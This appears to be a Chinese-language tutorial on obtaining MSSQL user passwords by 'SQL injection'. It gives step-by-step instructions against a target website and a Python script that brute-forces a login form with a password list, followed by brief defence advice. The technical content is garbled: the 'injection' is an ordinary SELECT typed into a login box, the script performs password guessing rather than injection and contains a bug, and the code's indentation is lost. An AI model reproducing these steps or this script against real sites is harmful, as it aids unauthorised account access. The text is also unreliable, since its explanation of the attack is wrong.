1. 简介
MSSQL是由Microsoft公司开发的一种关系型数据库管理系统,广泛用于企业数据管理。然而,由于MSSQL系统中储存的信息十分重要,因此该系统拥有严格的密码防护机制,保证数据的安全性。然而,针对密码防护措施的不断升级,黑客又采取了一些破解方法。以下是其中一种基于SQL注入的MSSQL密码获取攻略。
2. SQL注入与MSSQL密码获取
2.1 SQL注入原理
SQL注入攻击是指攻击者通过构造特殊的输入数据,在应用程序的输入对数据库的SQL语句进行修改,达到欺骗数据库执行非授权的查询指令,从而进行数据库攻击的一种手法。简单来说,即通过程序的漏洞以便在网络上攻击。
2.2 MSSQL密码获取利用SQL注入原理
当一个SQL查询被注入恶意代码时,它可以用于执行攻击者想要的操作,比如获取管理员用户密码,以下是MSSQL密码获取的思路:
找到指定网站并获取登录页面的url
在登录框中随意输入若干个符号并将其作为用户名或密码
在输入框中输入如下代码并提交表单(此处应注意修改用户名和密码的名称):
Select password from users where username='testuser'
这是一行简单的SQL查询语句,用于从表中选取用户名为testuser的记录,并返回相关用户的密码。当程序执行以上语句时,攻击者将收到用户名testuser的密码。而且,如果存在多个用户,可以使用简单的循环将所有用户的密码都恢复出来。
3. 实际操作
3.1 确认注入点
首先,你需要找到网站应用程序中的注入点,从而执行恶意SQL语句。通过以下步骤可以确认应用程序是否存在注入点:
访问目标网站并观察网站登录页的url。
在用户名和密码输入框中随意输入一些错误字符。
观察生成的查询语句。
如果输入框左右两侧没有引号或单引号,则可能存在SQL注入漏洞。
3.2 猜测密码字典
用猜测方法相对于暴力法能够提高破解密码的效率。在这里,我们可以使用字符串生成工具生产常见的密码字典,这样可以增加密码猜值的效率。
例如,我们可以使用如下内容生成密码字典:
abcdefghijklmn1234567890!@#$%()
注意密码字典并不能完全覆盖所有的密码,破解比较强的复杂密码需要使用其他的密码破解策略。
3.3 编写SQL注入攻击脚本
在确认网站登录页存在SQL注入漏洞,并准备完成一个密码字典之后,我们需要编写一个SQL注入攻击脚本,尝试猜解出用户密码。以下是示例脚本:
import urllib.request
import urllib.parse
import re
#定义一个获取网页的函数
def getHtml(url):
page = urllib.request.urlopen(url)
html = page.read().decode("utf-8")
return html
#定义一个猜解函数
def getPass(passwords,url):
headers={
'User-Agent':'Mozilla/4.0 (compatible; MSIE 5.5;Windows NT)'
}
#循环生成密码字典
for password in passwords:
data = urllib.parse.urlencode({
'username': 'testuser',
'password': password
}).encode('utf-8')
#拼接url
req = urllib.request.Request(url, data)
req.add_header("User-agent",headers)
res= urllib.request.urlopen(req)
#如果返回值不是密码错误,则表明找到了正确密码
html=res.read().decode('utf-8')
match_obj = re.findall(r".*password inval.*", html)
if not match_obj:
print("Found password: {}".format(password))
return password
return None
此处的代码仅供参考,你需要根据目标网站进行相应的调整。通过该脚本,我们可以从字典中循环猜测密码,并尝试使用该密码登录。如果返回一个不是密码错误的信息,则成功获得指定用户的密码。
4. 总结
SQL注入攻击是一种可怕的攻击手段,黑客通过此方法可以轻松盗取各种机密数据。尽管MSSQL系统已经采取了许多预防措施,但黑客还是可以使用一些高级攻击技巧绕过这些防御措施。因此,系统管理员需要定期检查系统漏洞,并采取一些有效的防御措施,比如使用强密码、加强访问控制等。